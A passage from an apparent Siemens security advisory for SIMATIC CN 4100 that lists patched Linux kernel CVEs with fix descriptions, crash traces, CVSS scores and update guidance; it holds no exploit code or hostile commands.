00000000ffffffff FS: 00007f8d7e9236c0(0000) GS:ffff888125c1c000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000000045ad50 CR3: 0000000075bde000 CR4: 00000000003526f0 Call Trace: vcc_sendmsg+0xa10/0xc60 net/atm/common.c:645 sock_sendmsg_nosec net/socket.c:714 [inline] __sock_sendmsg+0x219/0x270 net/socket.c:729 ____sys_sendmsg+0x505/0x830 net/socket.c:2614 ___sys_sendmsg+0x21f/0x2a0 net/socket.c:2668 __sys_sendmsg net/socket.c:2700 [inline] __do_sys_sendmsg net/socket.c:2705 [inline] __se_sys_sendmsg net/socket.c:2703 [inline] __x64_sys_sendmsg+0x19b/0x260 net/socket.c:2703 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xfa/0x3b0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f8d7e96a4a9 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 51 18 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f8d7e923198 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f8d7e9f4308 RCX: 00007f8d7e96a4a9 RDX: 0000000000000000 RSI: 0000200000000240 RDI: 0000000000000005 RBP: 00007f8d7e9f4300 R08: 65732f636f72702f R09: 65732f636f72702f R10: 65732f636f72702f R11: 0000000000000246 R12: 00007f8d7e9c10ac R13: 00007f8d7e9231a0 R14: 0000200000000200 R15: 0000200000000250 Modules linked in:\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39835\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: xfs: do not propagate ENODATA disk errors into xattr code ENODATA (aka ENOATTR) has a very specific meaning in the xfs xattr code; namely, that the requested attribute name could not be found. However, a medium error from disk may also return ENODATA. At best, this medium error may escape to userspace as \"attribute not found\" when in fact it's an IO (disk) error. At worst, we may oops in xfs_attr_leaf_get() when we do: error = xfs_attr_leaf_hasname(args, &bp); if (error == -ENOATTR) { xfs_trans_brelse(args->trans, bp); return error; } because an ENODATA/ENOATTR error from disk leaves us with a null bp, and the xfs_trans_brelse will then null-deref it. As discussed on the list, we really need to modify the lower level IO functions to trap all disk errors and ensure that we don't let unique errors like this leak up into higher xfs functions - many like this should be remapped to EIO. However, this patch directly addresses a reported bug in the xattr code, and should be safe to backport to stable kernels. A larger-scope patch to handle more unique errors at lower levels can follow later. (Note, prior to 07120f1abdff we did not oops, but we did return the wrong error code to userspace.)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39838\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: cifs: prevent NULL pointer dereference in UTF16 conversion There can be a NULL pointer dereference bug here. NULL is passed to __cifs_sfu_make_node without checks, which passes it unchecked to cifs_strndup_to_utf16, which in turn passes it to cifs_local_to_utf16_bytes where '*from' is dereferenced, causing a crash. This patch adds a check for NULL 'src' in cifs_strndup_to_utf16 and returns NULL early to prevent dereferencing NULL pointer. Found by Linux Verification Center (linuxtesting.org) with SVACE\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39839\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: batman-adv: fix OOB read/write in network-coding decode batadv_nc_skb_decode_packet() trusts coded_len and checks only against skb->len. XOR starts at sizeof(struct batadv_unicast_packet), reducing payload headroom, and the source skb length is not verified, allowing an out-of-bounds read and a small out-of-bounds write. Validate that coded_len fits within the payload area of both destination and source sk_buffs before XORing.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39841\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Fix buffer free/clear order in deferred receive path Fix a use-after-free window by correcting the buffer release sequence in the deferred receive path. The code freed the RQ buffer first and only then cleared the context pointer under the lock. Concurrent paths (e.g., ABTS and the repost path) also inspect and release the same pointer under the lock, so the old order could lead to double-free/UAF. Note that the repost path already uses the correct pattern: detach the pointer under the lock, then free it after dropping the lock. The deferred path should do the same.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39842\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ocfs2: prevent release journal inode after journal shutdown Before calling ocfs2_delete_osb(), ocfs2_journal_shutdown() has already been executed in ocfs2_dismount_volume(), so osb->journal must be NULL. Therefore, the following calltrace will inevitably fail when it reaches jbd2_journal_release_jbd_inode(). ocfs2_dismount_volume()-> ocfs2_delete_osb()-> ocfs2_free_slot_info()-> __ocfs2_free_slot_info()-> evict()-> ocfs2_evict_inode()-> ocfs2_clear_inode()-> jbd2_journal_release_jbd_inode(osb->journal->j_journal, Adding osb->journal checks will prevent null-ptr-deref during the above execution path.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39843\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm: slub: avoid wake up kswapd in set_track_prepare set_track_prepare() can incur lock recursion. The issue is that it is called from hrtimer_start_range_ns holding the per_cpu(hrtimer_bases)[n].lock, but when enabled CONFIG_DEBUG_OBJECTS_TIMERS, may wake up kswapd in set_track_prepare, and try to hold the per_cpu(hrtimer_bases)[n].lock. Avoid deadlock caused by implicitly waking up kswapd by passing in allocation flags, which do not contain __GFP_KSWAPD_RECLAIM in the debug_objects_fill_pool() case. Inside stack depot they are processed by gfp_nested_mask(). Since ___slab_alloc() has preemption disabled, we mask out __GFP_DIRECT_RECLAIM from the flags there. The oops looks something like: BUG: spinlock recursion on CPU#3, swapper/3/0 lock: 0xffffff8a4bf29c80, .magic: dead4ead, .owner: swapper/3/0, .owner_cpu: 3 Hardware name: Qualcomm Technologies, Inc. Popsicle based on SM8850 (DT) Call trace: spin_bug+0x0 _raw_spin_lock_irqsave+0x80 hrtimer_try_to_cancel+0x94 task_contending+0x10c enqueue_dl_entity+0x2a4 dl_server_start+0x74 enqueue_task_fair+0x568 enqueue_task+0xac do_activate_task+0x14c ttwu_do_activate+0xcc try_to_wake_up+0x6c8 default_wake_function+0x20 autoremove_wake_function+0x1c __wake_up+0xac wakeup_kswapd+0x19c wake_all_kswapds+0x78 __alloc_pages_slowpath+0x1ac __alloc_pages_noprof+0x298 stack_depot_save_flags+0x6b0 stack_depot_save+0x14 set_track_prepare+0x5c ___slab_alloc+0xccc __kmalloc_cache_noprof+0x470 __set_page_owner+0x2bc post_alloc_hook[jt]+0x1b8 prep_new_page+0x28 get_page_from_freelist+0x1edc __alloc_pages_noprof+0x13c alloc_slab_page+0x244 allocate_slab+0x7c ___slab_alloc+0x8e8 kmem_cache_alloc_noprof+0x450 debug_objects_fill_pool+0x22c debug_object_activate+0x40 enqueue_hrtimer[jt]+0xdc hrtimer_start_range_ns+0x5f8 ...\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39844\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm: move page table sync declarations to linux/pgtable.h During our internal testing, we started observing intermittent boot failures when the machine uses 4-level paging and has a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It turns out that the kernel panics while initializing vmemmap (struct page array) when the vmemmap region spans two PGD entries, because the new PGD entry is only installed in init_mm.pgd, but not in the page tables of other tasks. And looking at __populate_section_memmap(): if (vmemmap_can_optimize(altmap, pgmap)) // does not sync top level page tables r = vmemmap_populate_compound_pages(pfn, start, end, nid, pgmap); else // sync top level page tables in x86 r = vmemmap_populate(start, end, nid, altmap); In the normal path, vmemmap_populate() in arch/x86/mm/init_64.c synchronizes the top level page table (See commit 9b861528a801 (\"x86-64, mem: Update all PGDs for direct mapping and vmemmap mapping changes\")) so that all tasks in the system can see the new vmemmap area. However, when vmemmap_can_optimize() returns true, the optimized path skips synchronization of top-level page tables. This is because vmemmap_populate_compound_pages() is implemented in core MM code, which does not handle synchronization of the top-level page tables. Instead, the core MM has historically relied on each architecture to perform this synchronization manually. We're not the first party to encounter a crash caused by not-sync'd top level page tables: earlier this year, Gwan-gyeong Mun attempted to address the issue [1] [2] after hitting a kernel panic when x86 code accessed the vmemmap area before the corresponding top-level entries were synced. At that time, the issue was believed to be triggered only when struct page was enlarged for debugging purposes, and the patch did not get further updates. It turns out that current approach of relying on each arch to handle the page table sync manually is fragile because 1) it's easy to forget to sync the top level page table, and 2) it's also easy to overlook that the kernel should not access the vmemmap and direct mapping areas before the sync. # The solution: Make page table sync more code robust and harder to miss To address this, Dave Hansen suggested [3] [4] introducing {pgd,p4d}_populate_kernel() for updating kernel portion of the page tables and allow each architecture to explicitly perform synchronization when installing top-level entries. With this approach, we no longer need to worry about missing the sync step, reducing the risk of future regressions. The new interface reuses existing ARCH_PAGE_TABLE_SYNC_MASK, PGTBL_P*D_MODIFIED and arch_sync_kernel_mappings() facility used by vmalloc and ioremap to synchronize page tables. pgd_populate_kernel() looks like this: static inline void pgd_populate_kernel(unsigned long addr, pgd_t *pgd, p4d_t *p4d) { pgd_populate(&init_mm, pgd, p4d); if (ARCH_PAGE_TABLE_SYNC_MASK & PGTBL_PGD_MODIFIED) arch_sync_kernel_mappings(addr, addr); } It is worth noting that vmalloc() and apply_to_range() carefully synchronizes page tables by calling p*d_alloc_track() and arch_sync_kernel_mappings(), and thus they are not affected by ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39845\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/mm/64: define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() Define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() to ensure page tables are properly synchronized when calling p*d_populate_kernel(). For 5-level paging, synchronization is performed via pgd_populate_kernel(). In 4-level paging, pgd_populate() is a no-op, so synchronization is instead performed at the P4D level via p4d_populate_kernel(). This fixes intermittent boot failures on systems using 4-level paging and a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It also fixes a crash in vmemmap_set_pmd() caused by accessing vmemmap before sync_global_pgds() [1]: BUG: unable to handle page fault for address: ffffeb3ff1200000 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: Oops: 0002 [#1] PREEMPT SMP NOPTI Tainted: [W]=WARN RIP: 0010:vmemmap_set_pmd+0xff/0x230 vmemmap_populate_hugepages+0x176/0x180 vmemmap_populate+0x34/0x80 __populate_section_memmap+0x41/0x90 sparse_add_section+0x121/0x3e0 __add_pages+0xba/0x150 add_pages+0x1d/0x70 memremap_pages+0x3dc/0x810 devm_memremap_pages+0x1c/0x60 xe_devm_add+0x8b/0x100 [xe] xe_tile_init_noalloc+0x6a/0x70 [xe] xe_device_probe+0x48c/0x740 [xe] [... snip ...]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39846\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: pcmcia: Fix a NULL pointer dereference in __iodyn_find_io_region() In __iodyn_find_io_region(), pcmcia_make_resource() is assigned to res and used in pci_bus_alloc_resource(). There is a dereference of res in pci_bus_alloc_resource(), which could lead to a NULL pointer dereference on failure of pcmcia_make_resource(). Fix this bug by adding a check of res.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39847\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ppp: fix memory leak in pad_compress_skb If alloc_skb() fails in pad_compress_skb(), it returns NULL without releasing the old skb. The caller does: skb = pad_compress_skb(ppp, skb); if (!skb) goto drop; drop: kfree_skb(skb); When pad_compress_skb() returns NULL, the reference to the old skb is lost and kfree_skb(skb) ends up doing nothing, leading to a memory leak. Align pad_compress_skb() semantics with realloc(): only free the old skb if allocation and compression succeed. At the call site, use the new_skb variable so the original skb is not lost when pad_compress_skb() fails.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-772 Missing Release of Resource after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39848\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ax25: properly unshare skbs in ax25_kiss_rcv() Bernard Pidoux reported a regression apparently caused by commit c353e8983e0d (\"net: introduce per netns packet chains\"). skb->dev becomes NULL and we crash in __netif_receive_skb_core(). Before above commit, different kind of bugs or corruptions could happen without a major crash. But the root cause is that ax25_kiss_rcv() can queue/mangle input skb without checking if this skb is shared or not. Many thanks to Bernard Pidoux for his help, diagnosis and tests. We had a similar issue years ago fixed with commit 7aaed57c5c28 (\"phonet: properly unshare skbs in phonet_rcv()\").\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39849\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: sme: cap SSID length in __cfg80211_connect_result() If the ssid->datalen is more than IEEE80211_MAX_SSID_LEN (32) it would lead to memory corruption so add some bounds checking.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39853\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: i40e: Fix potential invalid access when MAC list is empty list_first_entry() never returns NULL - if the list is empty, it still returns a pointer to an invalid object, leading to potential invalid memory access when dereferenced. Fix this by using list_first_entry_or_null instead of list_first_entry.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39857\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/smc: fix one NULL pointer dereference in smc_ib_is_sg_need_sync() BUG: kernel NULL pointer dereference, address: 00000000000002ec PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP PTI CPU: 28 UID: 0 PID: 343 Comm: kworker/28:1 Kdump: loaded Tainted: G OE 6.17.0-rc2+ #9 NONE Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014 Workqueue: smc_hs_wq smc_listen_work [smc] RIP: 0010:smc_ib_is_sg_need_sync+0x9e/0xd0 [smc] ... Call Trace: smcr_buf_map_link+0x211/0x2a0 [smc] __smc_buf_create+0x522/0x970 [smc] smc_buf_create+0x3a/0x110 [smc] smc_find_rdma_v2_device_serv+0x18f/0x240 [smc] ? smc_vlan_by_tcpsk+0x7e/0xe0 [smc] smc_listen_find_device+0x1dd/0x2b0 [smc] smc_listen_work+0x30f/0x580 [smc] process_one_work+0x18c/0x340 worker_thread+0x242/0x360 kthread+0xe7/0x220 ret_from_fork+0x13a/0x160 ret_from_fork_asm+0x1a/0x30 If the software RoCE device is used, ibdev->dma_device is a null pointer. As a result, the problem occurs. Null pointer detection is added to prevent problems.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39860\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: Bluetooth: Fix use-after-free in l2cap_sock_cleanup_listen() syzbot reported the splat below without a repro. In the splat, a single thread calling bt_accept_dequeue() freed sk and touched it after that. The root cause would be the racy l2cap_sock_cleanup_listen() call added by the cited commit. bt_accept_dequeue() is called under lock_sock() except for l2cap_sock_release(). Two threads could see the same socket during the list iteration in bt_accept_dequeue(): CPU1 CPU2 (close()) ---- ---- sock_hold(sk) sock_hold(sk); lock_sock(sk) <-- block close() sock_put(sk) bt_accept_unlink(sk) sock_put(sk) <-- refcnt by bt_accept_enqueue() release_sock(sk) lock_sock(sk) sock_put(sk) bt_accept_unlink(sk) sock_put(sk) <-- last refcnt bt_accept_unlink(sk) <-- UAF Depending on the timing, the other thread could show up in the \"Freed by task\" part. Let's call l2cap_sock_cleanup_listen() under lock_sock() in l2cap_sock_release(). [0]: BUG: KASAN: slab-use-after-free in debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] BUG: KASAN: slab-use-after-free in do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 Read of size 4 at addr ffff88803b7eb1c4 by task syz.5.3276/16995 CPU: 3 UID: 0 PID: 16995 Comm: syz.5.3276 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 